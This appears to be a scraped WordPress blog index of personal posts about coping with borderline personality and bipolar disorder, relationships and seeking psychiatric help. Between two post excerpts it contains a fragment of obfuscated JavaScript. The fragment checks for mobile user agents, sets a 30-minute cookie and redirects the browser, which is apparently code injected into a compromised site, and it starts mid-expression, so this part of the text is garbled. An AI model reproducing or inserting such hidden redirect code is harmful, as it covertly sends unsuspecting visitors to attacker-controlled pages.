Putting Yourself First aka The You Matter Too Blog

I’ve always seen my own value through the eyes of others. I’ve tried to be the best friend/confidant I can be. I take pride on always being there for my loved ones, my friends, hell even strangers. I don’t like knowing anyone is suffering or in pain. I like to think the best thing about me is my compassion, my empathy for others.

Mind you, I haven’t always been the best friend either. There’s been plenty of times I’ve had my head stuck up my own ass that I couldn’t see outside my walls and bubbles I live in when the time calls for it. But that doesn’t mean I don’t care. It doesn’t mean that I don’t love you. But sometimes I have to put myself first.

In fact, I should do it more often. Continue reading

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Tidbit Before Bed. 

Don’t you hate how feelings of abandonment disappear the moment they come back? All the confusion and pain evaporate in that moment when you can one again bask in the presence of the one who makes your heart go all a flutter. 

It’s the greatest feeling in the world. But is it always a good thing? Fucked if I know. I just know how she makes me feel and it’s all that matters. Fuck the consequences. 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Sometimes it’s too much aka the Bursting at the seams blog

One of the biggest issues I have in my struggles with Borderline Personality is the overwhelming nature of everything I feel. I’m talking every single thing I feel. It’s all or nothing. It’s so damn frustrating. I hate it. It’s like I can see how I’m behaving or where my mind is taking me and I’m just a damn passenger. I alienate so many people in my life. People whom I like I push away. Or I scare them off. Or I try just so damn hard to make them like me. God I hate it. Continue reading

Drunk words

When you love someone you give them everything. Body, mind and soul.

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Distractions aka You can’t hide forever

As those who have been reading my blogs as of late can attest, I have been going through a bit lately especially in regards to emotional instability. I haven’t been like this in what feels like ages. Maybe this is what I get for not taking my meds for a few days.

Anyway, I’ve been devoting a lot of my time to trying to find ways to think about something else.. hell anything else really. I’ve discovered some awesome new bloggers on WordPress, and also been channeling all of the anxiety and tension and god awful neediness into writing more and more. In fact, I haven’t written this much in ages. So I have that to be thankful for at least.

Continue reading

Another Year In The Bag…

Hey,

As the end of 2014 dawns upon us I figured it was time to reflect on this year… at least in anticipation of the new year. That’s what people do don’t they? Fucked if I know but I’m gonna do it anyway.

It was a year of great progress and serious setbacks. I’m going to try to focus on the positives if I can but I make no promises.

Continue reading

Love and Bipolar

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Earlier tonight I was speaking with a friend and we were discussing his relationship with his significant other. He told me how insignificant she makes him feel and that no matter how hard he tries, it’s never good enough for her. My words of advice were simple.. I said “Dude, just leave.” We talked for an hour about how sad he feels and also how he can’t imagine his life without her. So I asked him if he liked being sad and he said no. So it really is that simple. If you’re unhappy, change things. Talk about how you feel and if they feel the same way, they will meet you half way.

You see, relationships are complicated but at the same time simple. It’s about communication and compromise. If the wants and desires are lopsided and based on making just one person happy, then it’s doomed to fail. I’ve had relationships last for years based purely on the sex. I’ve stuck with girls that I’ve never loved but hoped  that one day I might. Having such an extreme emotional spectrum, makes things hard for me, but unlike a lot of other people, I learn from my mistakes.  Continue reading

Surviving 101 aka Something’s gotta give

Hey guys,

Well I probably shouldn’t be blogging right now, but I guess I’m feeling somewhat inspired and in desperate need of a distraction. Well I’m in day 2 of a downward patch. And I figured I’d channel some of this into something positive.

So here goes nothing. Continue reading

The Birthday Blog aka Reflections on another year gone by.

Hey all,

Well another year in my life has gone by, and I’m not 33 years old. It’s been a year of significant changes for me. I’ve loved and lost, made some awesome friends, delved deeply my own psyche and more importantly, made some real progress in understanding both myself and my place in the world, and in my recovery from holding onto all the events that made me who I am today.  Continue reading

Video Series: Seeking a psychiatrist and random musings (as always)

Hey guys,

Just recorded an update for my Video Series. In this vlog I discuss my journey and my latest decision to seek a psychiatrist. So… Check out the video and let me know what you think. I’d really appreciate the feedback.

I’m still new at this, but I’m getting over the nerves thank god. It’s really helping to build my confidence, which can only be a good thing.

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